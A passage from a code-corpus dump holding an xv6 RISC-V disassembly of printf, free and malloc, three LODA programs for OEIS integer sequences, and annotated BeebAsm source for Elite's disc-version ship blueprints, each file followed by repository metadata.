6d0: fe843423 sd s0,-24(s0)
vprintf(fd, fmt, ap);
6d4: 8622 mv a2,s0
6d6: 00000097 auipc ra,0x0
6da: e04080e7 jalr -508(ra) # 4da <vprintf>
}
6de: 60e2 ld ra,24(sp)
6e0: 6442 ld s0,16(sp)
6e2: 6161 addi sp,sp,80
6e4: 8082 ret
00000000000006e6 <printf>:
void
printf(const char *fmt, ...)
{
6e6: 711d addi sp,sp,-96
6e8: ec06 sd ra,24(sp)
6ea: e822 sd s0,16(sp)
6ec: 1000 addi s0,sp,32
6ee: e40c sd a1,8(s0)
6f0: e810 sd a2,16(s0)
6f2: ec14 sd a3,24(s0)
6f4: f018 sd a4,32(s0)
6f6: f41c sd a5,40(s0)
6f8: 03043823 sd a6,48(s0)
6fc: 03143c23 sd a7,56(s0)
va_list ap;
va_start(ap, fmt);
700: 00840613 addi a2,s0,8
704: fec43423 sd a2,-24(s0)
vprintf(1, fmt, ap);
708: 85aa mv a1,a0
70a: 4505 li a0,1
70c: 00000097 auipc ra,0x0
710: dce080e7 jalr -562(ra) # 4da <vprintf>
}
714: 60e2 ld ra,24(sp)
716: 6442 ld s0,16(sp)
718: 6125 addi sp,sp,96
71a: 8082 ret
000000000000071c <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
71c: 1141 addi sp,sp,-16
71e: e422 sd s0,8(sp)
720: 0800 addi s0,sp,16
Header *bp, *p;
bp = (Header*)ap - 1;
722: ff050693 addi a3,a0,-16
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
726: 00000797 auipc a5,0x0
72a: 1b27b783 ld a5,434(a5) # 8d8 <freep>
72e: a805 j 75e <free+0x42>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
730: 4618 lw a4,8(a2)
732: 9db9 addw a1,a1,a4
734: feb52c23 sw a1,-8(a0)
bp->s.ptr = p->s.ptr->s.ptr;
738: 6398 ld a4,0(a5)
73a: 6318 ld a4,0(a4)
73c: fee53823 sd a4,-16(a0)
740: a091 j 784 <free+0x68>
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
742: ff852703 lw a4,-8(a0)
746: 9e39 addw a2,a2,a4
748: c790 sw a2,8(a5)
p->s.ptr = bp->s.ptr;
74a: ff053703 ld a4,-16(a0)
74e: e398 sd a4,0(a5)
750: a099 j 796 <free+0x7a>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
752: 6398 ld a4,0(a5)
754: 00e7e463 bltu a5,a4,75c <free+0x40>
758: 00e6ea63 bltu a3,a4,76c <free+0x50>
{
75c: 87ba mv a5,a4
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
75e: fed7fae3 bgeu a5,a3,752 <free+0x36>
762: 6398 ld a4,0(a5)
764: 00e6e463 bltu a3,a4,76c <free+0x50>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
768: fee7eae3 bltu a5,a4,75c <free+0x40>
if(bp + bp->s.size == p->s.ptr){
76c: ff852583 lw a1,-8(a0)
770: 6390 ld a2,0(a5)
772: 02059713 slli a4,a1,0x20
776: 9301 srli a4,a4,0x20
778: 0712 slli a4,a4,0x4
77a: 9736 add a4,a4,a3
77c: fae60ae3 beq a2,a4,730 <free+0x14>
bp->s.ptr = p->s.ptr;
780: fec53823 sd a2,-16(a0)
if(p + p->s.size == bp){
784: 4790 lw a2,8(a5)
786: 02061713 slli a4,a2,0x20
78a: 9301 srli a4,a4,0x20
78c: 0712 slli a4,a4,0x4
78e: 973e add a4,a4,a5
790: fae689e3 beq a3,a4,742 <free+0x26>
} else
p->s.ptr = bp;
794: e394 sd a3,0(a5)
freep = p;
796: 00000717 auipc a4,0x0
79a: 14f73123 sd a5,322(a4) # 8d8 <freep>
}
79e: 6422 ld s0,8(sp)
7a0: 0141 addi sp,sp,16
7a2: 8082 ret
00000000000007a4 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
7a4: 7139 addi sp,sp,-64
7a6: fc06 sd ra,56(sp)
7a8: f822 sd s0,48(sp)
7aa: f426 sd s1,40(sp)
7ac: f04a sd s2,32(sp)
7ae: ec4e sd s3,24(sp)
7b0: e852 sd s4,16(sp)
7b2: e456 sd s5,8(sp)
7b4: e05a sd s6,0(sp)
7b6: 0080 addi s0,sp,64
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
7b8: 02051493 slli s1,a0,0x20
7bc: 9081 srli s1,s1,0x20
7be: 04bd addi s1,s1,15
7c0: 8091 srli s1,s1,0x4
7c2: 0014899b addiw s3,s1,1
7c6: 0485 addi s1,s1,1
if((prevp = freep) == 0){
7c8: 00000517 auipc a0,0x0
7cc: 11053503 ld a0,272(a0) # 8d8 <freep>
7d0: c515 beqz a0,7fc <malloc+0x58>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
7d2: 611c ld a5,0(a0)
if(p->s.size >= nunits){
7d4: 4798 lw a4,8(a5)
7d6: 02977f63 bgeu a4,s1,814 <malloc+0x70>
7da: 8a4e mv s4,s3
7dc: 0009871b sext.w a4,s3
7e0: 6685 lui a3,0x1
7e2: 00d77363 bgeu a4,a3,7e8 <malloc+0x44>
7e6: 6a05 lui s4,0x1
7e8: 000a0b1b sext.w s6,s4
p = sbrk(nu * sizeof(Header));
7ec: 004a1a1b slliw s4,s4,0x4
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
7f0: 00000917 auipc s2,0x0
7f4: 0e890913 addi s2,s2,232 # 8d8 <freep>
if(p == (char*)-1)
7f8: 5afd li s5,-1
7fa: a88d j 86c <malloc+0xc8>
base.s.ptr = freep = prevp = &base;
7fc: 00000797 auipc a5,0x0
800: 0e478793 addi a5,a5,228 # 8e0 <base>
804: 00000717 auipc a4,0x0
808: 0cf73a23 sd a5,212(a4) # 8d8 <freep>
80c: e39c sd a5,0(a5)
base.s.size = 0;
80e: 0007a423 sw zero,8(a5)
if(p->s.size >= nunits){
812: b7e1 j 7da <malloc+0x36>
if(p->s.size == nunits)
814: 02e48b63 beq s1,a4,84a <malloc+0xa6>
p->s.size -= nunits;
818: 4137073b subw a4,a4,s3
81c: c798 sw a4,8(a5)
p += p->s.size;
81e: 1702 slli a4,a4,0x20
820: 9301 srli a4,a4,0x20
822: 0712 slli a4,a4,0x4
824: 97ba add a5,a5,a4
p->s.size = nunits;
826: 0137a423 sw s3,8(a5)
freep = prevp;
82a: 00000717 auipc a4,0x0
82e: 0aa73723 sd a0,174(a4) # 8d8 <freep>
return (void*)(p + 1);
832: 01078513 addi a0,a5,16
if((p = morecore(nunits)) == 0)
return 0;
}
}
836: 70e2 ld ra,56(sp)
838: 7442 ld s0,48(sp)
83a: 74a2 ld s1,40(sp)
83c: 7902 ld s2,32(sp)
83e: 69e2 ld s3,24(sp)
840: 6a42 ld s4,16(sp)
842: 6aa2 ld s5,8(sp)
844: 6b02 ld s6,0(sp)
846: 6121 addi sp,sp,64
848: 8082 ret
prevp->s.ptr = p->s.ptr;
84a: 6398 ld a4,0(a5)
84c: e118 sd a4,0(a0)
84e: bff1 j 82a <malloc+0x86>
hp->s.size = nu;
850: 01652423 sw s6,8(a0)
free((void*)(hp + 1));
854: 0541 addi a0,a0,16
856: 00000097 auipc ra,0x0
85a: ec6080e7 jalr -314(ra) # 71c <free>
return freep;
85e: 00093503 ld a0,0(s2)
if((p = morecore(nunits)) == 0)
862: d971 beqz a0,836 <malloc+0x92>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
864: 611c ld a5,0(a0)
if(p->s.size >= nunits){
866: 4798 lw a4,8(a5)
868: fa9776e3 bgeu a4,s1,814 <malloc+0x70>
if(p == freep)
86c: 00093703 ld a4,0(s2)
870: 853e mv a0,a5
872: fef719e3 bne a4,a5,864 <malloc+0xc0>
p = sbrk(nu * sizeof(Header));
876: 8552 mv a0,s4
878: 00000097 auipc ra,0x0
87c: b7e080e7 jalr -1154(ra) # 3f6 <sbrk>
if(p == (char*)-1)
880: fd5518e3 bne a0,s5,850 <malloc+0xac>
return 0;
884: 4501 li a0,0
886: bf45 j 836 <malloc+0x92>
| 29.928623 | 61 | 0.461733 | [
"MIT-0"
] | frank-liang-lbm/xv6-labs-2020 | user/pingpong.asm | 41,511 | Assembly |
; A015464: q-Fibonacci numbers for q=7.
; Submitted by Jamie Morken(s4)
; 0,1,1,8,57,2801,139658,47216065,16477840107,38900937658402,95030370064332109,1569888180568718888123,26845297334664927227358264,3104208728255475471662060331653,371576574614065326331102018605110717,300764083354019611993924928162607993623488,252012106997540465899915956183793121787595246221,1427896237716938658476779124806615194633050192705587405,8375102282444358350263999371576217315708568282381490078315226,332172244075592832503169138874338979560262795240527519963283668643061
mov $1,1
lpb $0
sub $0,1
mov $2,$3
add $3,$1
mov $1,7
pow $1,$0
mul $1,$2
lpe
mov $0,$3
| 43.4 | 477 | 0.854071 | [
"Apache-2.0"
] | ckrause/loda-programs | oeis/015/A015464.asm | 651 | Assembly |
; A253432: Number of (n+1) X (5+1) 0..1 arrays with every 2 X 2 subblock diagonal minus antidiagonal sum nondecreasing horizontally, vertically and ne-to-sw antidiagonally.
; 181,174,192,228,300,444,732,1308,2460,4764,9372,18588,37020,73884,147612,295068,589980,1179804,2359452,4718748,9437340,18874524,37748892,75497628,150995100,301990044,603979932,1207959708,2415919260,4831838364,9663676572,19327352988,38654705820,77309411484,154618822812,309237645468,618475290780,1236950581404,2473901162652,4947802325148,9895604650140,19791209300124,39582418600092,79164837200028,158329674399900,316659348799644,633318697599132,1266637395198108,2533274790396060,5066549580791964,10133099161583772,20266198323167388,40532396646334620,81064793292669084,162129586585338012,324259173170675868,648518346341351580,1297036692682703004,2594073385365405852,5188146770730811548,10376293541461622940,20752587082923245724,41505174165846491292,83010348331692982428,166020696663385964700,332041393326771929244,664082786653543858332,1328165573307087716508,2656331146614175432860,5312662293228350865564,10625324586456701730972,21250649172913403461788,42501298345826806923420,85002596691653613846684,170005193383307227693212,340010386766614455386268,680020773533228910772380,1360041547066457821544604,2720083094132915643089052,5440166188265831286177948,10880332376531662572355740,21760664753063325144711324,43521329506126650289422492,87042659012253300578844828,174085318024506601157689500,348170636049013202315378844,696341272098026404630757532,1392682544196052809261514908,2785365088392105618523029660,5570730176784211237046059164,11141460353568422474092118172,22282920707136844948184236188,44565841414273689896368472220,89131682828547379792736944284,178263365657094759585473888412,356526731314189519170947776668,713053462628379038341895553180,1426106925256758076683791106204,2852213850513516153367582212252,5704427701027032306735164424348
seq $0,253434 ; Number of (n+1) X (7+1) 0..1 arrays with every 2 X 2 subblock diagonal minus antidiagonal sum nondecreasing horizontally, vertically and ne-to-sw antidiagonally.
sub $0,432
| 350.833333 | 1,741 | 0.911164 | [
"Apache-2.0"
] | ckrause/cm | programs/oeis/253/A253432.asm | 2,105 | Assembly |
; A254368: a(n) = 5*2^n + 3^n + 15.
; 21,28,44,82,176,418,1064,2842,7856,22258,64184,187402,551936,1635298,4864904,14512762,43374416,129795538,388731224,1164882922,3492027296,10470838978,31402031144,94185121882,282513422576,847456381618,2542201372664,7626268573642,22878134632256,68633061719458,205896500803784,617684133702202,1853041663688336,5559103516228498
mov $1,9
mov $2,1
lpb $0
sub $0,1
mul $1,2
sub $1,3
mov $3,$2
mul $2,2
sub $2,1
add $1,$2
add $2,$3
lpe
add $1,12
| 28.941176 | 324 | 0.747967 | [
"Apache-2.0"
] | jmorken/loda | programs/oeis/254/A254368.asm | 492 | Assembly |
\ ******************************************************************************
\
\ DISC ELITE SHIP BLUEPRINTS FILE G
\
\ Elite was written by Ian Bell and David Braben and is copyright Acornsoft 1984
\
\ The code on this site has been disassembled from the version released on Ian
\ Bell's personal website at http://www.elitehomepage.org/
\
\ The commentary is copyright Mark Moxon, and any misunderstandings or mistakes
\ in the documentation are entirely my fault
\
\ The terminology and notations used in this commentary are explained at
\ https://www.bbcelite.com/about_site/terminology_used_in_this_commentary.html
\
\ The deep dive articles referred to in this commentary can be found at
\ https://www.bbcelite.com/deep_dives
\
\ ------------------------------------------------------------------------------
\
\ This source file produces the following binary file:
\
\ * D.MOG.bin
\
\ ******************************************************************************
INCLUDE "1-source-files/main-sources/elite-header.h.asm"
GUARD &6000 \ Guard against assembling over screen memory
\ ******************************************************************************
\
\ Configuration variables
\
\ ******************************************************************************
SHIP_MISSILE = &7F00 \ The address of the missile ship blueprint
CODE% = &5600 \ The flight code loads this file at address &5600, at
LOAD% = &5600 \ label XX21
ORG CODE%
\ ******************************************************************************
\
\ Name: XX21
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprints lookup table for the D.MOG file
\ Deep dive: Ship blueprints in the disc version
\
\ ******************************************************************************
.XX21
EQUW SHIP_MISSILE \ MSL = 1 = Missile
EQUW SHIP_CORIOLIS \ SST = 2 = Coriolis space station
EQUW SHIP_ESCAPE_POD \ ESC = 3 = Escape pod
EQUW SHIP_PLATE \ PLT = 4 = Alloy plate
EQUW SHIP_CANISTER \ OIL = 5 = Cargo canister
EQUW SHIP_BOULDER \ 6 = Boulder
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW SHIP_COBRA_MK_3 \ CYL = 11 = Cobra Mk III
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW SHIP_VIPER \ COPS = 16 = Viper
EQUW 0
EQUW SHIP_MAMBA \ 18 = Mamba
EQUW SHIP_KRAIT \ KRA = 19 = Krait
EQUW SHIP_ADDER \ ADA = 20 = Adder
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW 0
EQUW SHIP_CONSTRICTOR \ CON = 31 = Constrictor
\ ******************************************************************************
\
\ Name: E%
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprints default NEWB flags for the D.MOG file
\ Deep dive: Ship blueprints in the disc version
\ Advanced tactics with the NEWB flags
\
\ ******************************************************************************
.E%
EQUB %00000000 \ Missile
EQUB %00000000 \ Coriolis space station
EQUB %00000001 \ Escape pod Trader
EQUB %00000000 \ Alloy plate
EQUB %00000000 \ Cargo canister
EQUB %00000000 \ Boulder
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB %10100000 \ Cobra Mk III Innocent, escape pod
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB %11000010 \ Viper Bounty hunter, cop, escape pod
EQUB 0
EQUB %10001100 \ Mamba Hostile, pirate, escape pod
EQUB %10001100 \ Krait Hostile, pirate, escape pod
EQUB %10001100 \ Adder Hostile, pirate, escape pod
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB 0
EQUB %00000100 \ Constrictor Hostile
\ ******************************************************************************
\
\ Name: VERTEX
\ Type: Macro
\ Category: Drawing ships
\ Summary: Macro definition for adding vertices to ship blueprints
\ Deep dive: Ship blueprints
\
\ ------------------------------------------------------------------------------
\
\ The following macro is used to build the ship blueprints:
\
\ VERTEX x, y, z, face1, face2, face3, face4, visibility
\
\ See the deep dive on "Ship blueprints" for details of how vertices are stored
\ in the ship blueprints, and the deep dive on "Drawing ships" for information
\ on how vertices are used to draw 3D wiremesh ships.
\
\ Arguments:
\
\ x The vertex's x-coordinate
\
\ y The vertex's y-coordinate
\
\ z The vertex's z-coordinate
\
\ face1 The number of face 1 associated with this vertex
\
\ face2 The number of face 2 associated with this vertex
\
\ face3 The number of face 3 associated with this vertex
\
\ face4 The number of face 4 associated with this vertex
\
\ visibility The visibility distance, beyond which the vertex is not
\ shown
\
\ ******************************************************************************
MACRO VERTEX x, y, z, face1, face2, face3, face4, visibility
IF x < 0
s_x = 1 << 7
ELSE
s_x = 0
ENDIF
IF y < 0
s_y = 1 << 6
ELSE
s_y = 0
ENDIF
IF z < 0
s_z = 1 << 5
ELSE
s_z = 0
ENDIF
s = s_x + s_y + s_z + visibility
f1 = face1 + (face2 << 4)
f2 = face3 + (face4 << 4)
ax = ABS(x)
ay = ABS(y)
az = ABS(z)
EQUB ax, ay, az, s, f1, f2
ENDMACRO
\ ******************************************************************************
\
\ Name: EDGE
\ Type: Macro
\ Category: Drawing ships
\ Summary: Macro definition for adding edges to ship blueprints
\ Deep dive: Ship blueprints
\
\ ------------------------------------------------------------------------------
\
\ The following macro is used to build the ship blueprints:
\
\ EDGE vertex1, vertex2, face1, face2, visibility
\
\ See the deep dive on "Ship blueprints" for details of how edges are stored
\ in the ship blueprints, and the deep dive on "Drawing ships" for information
\ on how edges are used to draw 3D wiremesh ships.
\
\ Arguments:
\
\ vertex1 The number of the vertex at the start of the edge
\
\ vertex1 The number of the vertex at the end of the edge
\
\ face1 The number of face 1 associated with this edge
\
\ face2 The number of face 2 associated with this edge
\
\ visibility The visibility distance, beyond which the edge is not
\ shown
\
\ ******************************************************************************
MACRO EDGE vertex1, vertex2, face1, face2, visibility
f = face1 + (face2 << 4)
EQUB visibility, f, vertex1 << 2, vertex2 << 2
ENDMACRO
\ ******************************************************************************
\
\ Name: FACE
\ Type: Macro
\ Category: Drawing ships
\ Summary: Macro definition for adding faces to ship blueprints
\ Deep dive: Ship blueprints
\
\ ------------------------------------------------------------------------------
\
\ The following macro is used to build the ship blueprints:
\
\ FACE normal_x, normal_y, normal_z, visibility
\
\ See the deep dive on "Ship blueprints" for details of how faces are stored
\ in the ship blueprints, and the deep dive on "Drawing ships" for information
\ on how faces are used to draw 3D wiremesh ships.
\
\ Arguments:
\
\ normal_x The face normal's x-coordinate
\
\ normal_y The face normal's y-coordinate
\
\ normal_z The face normal's z-coordinate
\
\ visibility The visibility distance, beyond which the edge is always
\ shown
\
\ ******************************************************************************
MACRO FACE normal_x, normal_y, normal_z, visibility
IF normal_x < 0
s_x = 1 << 7
ELSE
s_x = 0
ENDIF
IF normal_y < 0
s_y = 1 << 6
ELSE
s_y = 0
ENDIF
IF normal_z < 0
s_z = 1 << 5
ELSE
s_z = 0
ENDIF
s = s_x + s_y + s_z + visibility
ax = ABS(normal_x)
ay = ABS(normal_y)
az = ABS(normal_z)
EQUB s, ax, ay, az
ENDMACRO
\ ******************************************************************************
\
\ Name: SHIP_CORIOLIS
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a Coriolis space station
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_CORIOLIS
EQUB 0 \ Max. canisters on demise = 0
EQUW 160 * 160 \ Targetable area = 160 * 160
EQUB LO(SHIP_CORIOLIS_EDGES - SHIP_CORIOLIS) \ Edges data offset (low)
EQUB LO(SHIP_CORIOLIS_FACES - SHIP_CORIOLIS) \ Faces data offset (low)
EQUB 85 \ Max. edge count = (85 - 1) / 4 = 21
EQUB 0 \ Gun vertex = 0
EQUB 54 \ Explosion count = 12, as (4 * n) + 6 = 54
EQUB 96 \ Number of vertices = 96 / 6 = 16
EQUB 28 \ Number of edges = 28
EQUW 0 \ Bounty = 0
EQUB 56 \ Number of faces = 56 / 4 = 14
EQUB 120 \ Visibility distance = 120
EQUB 240 \ Max. energy = 240
EQUB 0 \ Max. speed = 0
EQUB HI(SHIP_CORIOLIS_EDGES - SHIP_CORIOLIS) \ Edges data offset (high)
EQUB HI(SHIP_CORIOLIS_FACES - SHIP_CORIOLIS) \ Faces data offset (high)
EQUB 0 \ Normals are scaled by = 2^0 = 1
EQUB %00000110 \ Laser power = 0
\ Missiles = 6
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 160, 0, 160, 0, 1, 2, 6, 31 \ Vertex 0
VERTEX 0, 160, 160, 0, 2, 3, 8, 31 \ Vertex 1
VERTEX -160, 0, 160, 0, 3, 4, 7, 31 \ Vertex 2
VERTEX 0, -160, 160, 0, 1, 4, 5, 31 \ Vertex 3
VERTEX 160, -160, 0, 1, 5, 6, 10, 31 \ Vertex 4
VERTEX 160, 160, 0, 2, 6, 8, 11, 31 \ Vertex 5
VERTEX -160, 160, 0, 3, 7, 8, 12, 31 \ Vertex 6
VERTEX -160, -160, 0, 4, 5, 7, 9, 31 \ Vertex 7
VERTEX 160, 0, -160, 6, 10, 11, 13, 31 \ Vertex 8
VERTEX 0, 160, -160, 8, 11, 12, 13, 31 \ Vertex 9
VERTEX -160, 0, -160, 7, 9, 12, 13, 31 \ Vertex 10
VERTEX 0, -160, -160, 5, 9, 10, 13, 31 \ Vertex 11
VERTEX 10, -30, 160, 0, 0, 0, 0, 30 \ Vertex 12
VERTEX 10, 30, 160, 0, 0, 0, 0, 30 \ Vertex 13
VERTEX -10, 30, 160, 0, 0, 0, 0, 30 \ Vertex 14
VERTEX -10, -30, 160, 0, 0, 0, 0, 30 \ Vertex 15
.SHIP_CORIOLIS_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 3, 0, 1, 31 \ Edge 0
EDGE 0, 1, 0, 2, 31 \ Edge 1
EDGE 1, 2, 0, 3, 31 \ Edge 2
EDGE 2, 3, 0, 4, 31 \ Edge 3
EDGE 3, 4, 1, 5, 31 \ Edge 4
EDGE 0, 4, 1, 6, 31 \ Edge 5
EDGE 0, 5, 2, 6, 31 \ Edge 6
EDGE 5, 1, 2, 8, 31 \ Edge 7
EDGE 1, 6, 3, 8, 31 \ Edge 8
EDGE 2, 6, 3, 7, 31 \ Edge 9
EDGE 2, 7, 4, 7, 31 \ Edge 10
EDGE 3, 7, 4, 5, 31 \ Edge 11
EDGE 8, 11, 10, 13, 31 \ Edge 12
EDGE 8, 9, 11, 13, 31 \ Edge 13
EDGE 9, 10, 12, 13, 31 \ Edge 14
EDGE 10, 11, 9, 13, 31 \ Edge 15
EDGE 4, 11, 5, 10, 31 \ Edge 16
EDGE 4, 8, 6, 10, 31 \ Edge 17
EDGE 5, 8, 6, 11, 31 \ Edge 18
EDGE 5, 9, 8, 11, 31 \ Edge 19
EDGE 6, 9, 8, 12, 31 \ Edge 20
EDGE 6, 10, 7, 12, 31 \ Edge 21
EDGE 7, 10, 7, 9, 31 \ Edge 22
EDGE 7, 11, 5, 9, 31 \ Edge 23
EDGE 12, 13, 0, 0, 30 \ Edge 24
EDGE 13, 14, 0, 0, 30 \ Edge 25
EDGE 14, 15, 0, 0, 30 \ Edge 26
EDGE 15, 12, 0, 0, 30 \ Edge 27
.SHIP_CORIOLIS_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 0, 160, 31 \ Face 0
FACE 107, -107, 107, 31 \ Face 1
FACE 107, 107, 107, 31 \ Face 2
FACE -107, 107, 107, 31 \ Face 3
FACE -107, -107, 107, 31 \ Face 4
FACE 0, -160, 0, 31 \ Face 5
FACE 160, 0, 0, 31 \ Face 6
FACE -160, 0, 0, 31 \ Face 7
FACE 0, 160, 0, 31 \ Face 8
FACE -107, -107, -107, 31 \ Face 9
FACE 107, -107, -107, 31 \ Face 10
FACE 107, 107, -107, 31 \ Face 11
FACE -107, 107, -107, 31 \ Face 12
FACE 0, 0, -160, 31 \ Face 13
\ ******************************************************************************
\
\ Name: SHIP_ESCAPE_POD
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for an escape pod
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_ESCAPE_POD
EQUB 0 + (2 << 4) \ Max. canisters on demise = 0
\ Market item when scooped = 2 + 1 = 3 (slaves)
EQUW 16 * 16 \ Targetable area = 16 * 16
EQUB LO(SHIP_ESCAPE_POD_EDGES - SHIP_ESCAPE_POD) \ Edges data offset (low)
EQUB LO(SHIP_ESCAPE_POD_FACES - SHIP_ESCAPE_POD) \ Faces data offset (low)
EQUB 25 \ Max. edge count = (25 - 1) / 4 = 6
EQUB 0 \ Gun vertex = 0
EQUB 22 \ Explosion count = 4, as (4 * n) + 6 = 22
EQUB 24 \ Number of vertices = 24 / 6 = 4
EQUB 6 \ Number of edges = 6
EQUW 0 \ Bounty = 0
EQUB 16 \ Number of faces = 16 / 4 = 4
EQUB 8 \ Visibility distance = 8
EQUB 17 \ Max. energy = 17
EQUB 8 \ Max. speed = 8
EQUB HI(SHIP_ESCAPE_POD_EDGES - SHIP_ESCAPE_POD) \ Edges data offset (high)
EQUB HI(SHIP_ESCAPE_POD_FACES - SHIP_ESCAPE_POD) \ Faces data offset (high)
EQUB 4 \ Normals are scaled by = 2^4 = 16
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX -7, 0, 36, 2, 1, 3, 3, 31 \ Vertex 0
VERTEX -7, -14, -12, 2, 0, 3, 3, 31 \ Vertex 1
VERTEX -7, 14, -12, 1, 0, 3, 3, 31 \ Vertex 2
VERTEX 21, 0, 0, 1, 0, 2, 2, 31 \ Vertex 3
.SHIP_ESCAPE_POD_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 3, 2, 31 \ Edge 0
EDGE 1, 2, 3, 0, 31 \ Edge 1
EDGE 2, 3, 1, 0, 31 \ Edge 2
EDGE 3, 0, 2, 1, 31 \ Edge 3
EDGE 0, 2, 3, 1, 31 \ Edge 4
EDGE 3, 1, 2, 0, 31 \ Edge 5
.SHIP_ESCAPE_POD_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 52, 0, -122, 31 \ Face 0
FACE 39, 103, 30, 31 \ Face 1
FACE 39, -103, 30, 31 \ Face 2
FACE -112, 0, 0, 31 \ Face 3
\ ******************************************************************************
\
\ Name: SHIP_PLATE
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for an alloy plate
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_PLATE
EQUB 0 + (8 << 4) \ Max. canisters on demise = 0
\ Market item when scooped = 8 + 1 = 9 (Alloys)
EQUW 10 * 10 \ Targetable area = 10 * 10
EQUB LO(SHIP_PLATE_EDGES - SHIP_PLATE) \ Edges data offset (low)
EQUB LO(SHIP_PLATE_FACES - SHIP_PLATE) \ Faces data offset (low)
EQUB 17 \ Max. edge count = (17 - 1) / 4 = 4
EQUB 0 \ Gun vertex = 0
EQUB 10 \ Explosion count = 1, as (4 * n) + 6 = 10
EQUB 24 \ Number of vertices = 24 / 6 = 4
EQUB 4 \ Number of edges = 4
EQUW 0 \ Bounty = 0
EQUB 4 \ Number of faces = 4 / 4 = 1
EQUB 5 \ Visibility distance = 5
EQUB 16 \ Max. energy = 16
EQUB 16 \ Max. speed = 16
EQUB HI(SHIP_PLATE_EDGES - SHIP_PLATE) \ Edges data offset (high)
EQUB HI(SHIP_PLATE_FACES - SHIP_PLATE) \ Faces data offset (high)
EQUB 3 \ Normals are scaled by = 2^3 = 8
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX -15, -22, -9, 15, 15, 15, 15, 31 \ Vertex 0
VERTEX -15, 38, -9, 15, 15, 15, 15, 31 \ Vertex 1
VERTEX 19, 32, 11, 15, 15, 15, 15, 20 \ Vertex 2
VERTEX 10, -46, 6, 15, 15, 15, 15, 20 \ Vertex 3
.SHIP_PLATE_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
EDGE 0, 1, 15, 15, 31 \ Edge 0
EDGE 1, 2, 15, 15, 16 \ Edge 1
EDGE 2, 3, 15, 15, 20 \ Edge 2
EDGE 3, 0, 15, 15, 16 \ Edge 3
.SHIP_PLATE_FACES
\FACE normal_x, normal_y, normal_z, visibility
FACE 0, 0, 0, 0 \ Face 0
\ ******************************************************************************
\
\ Name: SHIP_CANISTER
\ Type: Variable
\ Category: Drawing ships
\ Summary: Ship blueprint for a cargo canister
\ Deep dive: Ship blueprints
\
\ ******************************************************************************
.SHIP_CANISTER
EQUB 0 \ Max. canisters on demise = 0
EQUW 20 * 20 \ Targetable area = 20 * 20
EQUB LO(SHIP_CANISTER_EDGES - SHIP_CANISTER) \ Edges data offset (low)
EQUB LO(SHIP_CANISTER_FACES - SHIP_CANISTER) \ Faces data offset (low)
EQUB 49 \ Max. edge count = (49 - 1) / 4 = 12
EQUB 0 \ Gun vertex = 0
EQUB 18 \ Explosion count = 3, as (4 * n) + 6 = 18
EQUB 60 \ Number of vertices = 60 / 6 = 10
EQUB 15 \ Number of edges = 15
EQUW 0 \ Bounty = 0
EQUB 28 \ Number of faces = 28 / 4 = 7
EQUB 12 \ Visibility distance = 12
EQUB 17 \ Max. energy = 17
EQUB 15 \ Max. speed = 15
EQUB HI(SHIP_CANISTER_EDGES - SHIP_CANISTER) \ Edges data offset (high)
EQUB HI(SHIP_CANISTER_FACES - SHIP_CANISTER) \ Faces data offset (high)
EQUB 2 \ Normals are scaled by = 2^2 = 4
EQUB %00000000 \ Laser power = 0
\ Missiles = 0
\VERTEX x, y, z, face1, face2, face3, face4, visibility
VERTEX 24, 16, 0, 0, 1, 5, 5, 31 \ Vertex 0
VERTEX 24, 5, 15, 0, 1, 2, 2, 31 \ Vertex 1
VERTEX 24, -13, 9, 0, 2, 3, 3, 31 \ Vertex 2
VERTEX 24, -13, -9, 0, 3, 4, 4, 31 \ Vertex 3
VERTEX 24, 5, -15, 0, 4, 5, 5, 31 \ Vertex 4
VERTEX -24, 16, 0, 1, 5, 6, 6, 31 \ Vertex 5
VERTEX -24, 5, 15, 1, 2, 6, 6, 31 \ Vertex 6
VERTEX -24, -13, 9, 2, 3, 6, 6, 31 \ Vertex 7
VERTEX -24, -13, -9, 3, 4, 6, 6, 31 \ Vertex 8
VERTEX -24, 5, -15, 4, 5, 6, 6, 31 \ Vertex 9
.SHIP_CANISTER_EDGES
\EDGE vertex1, vertex2, face1, face2, visibility
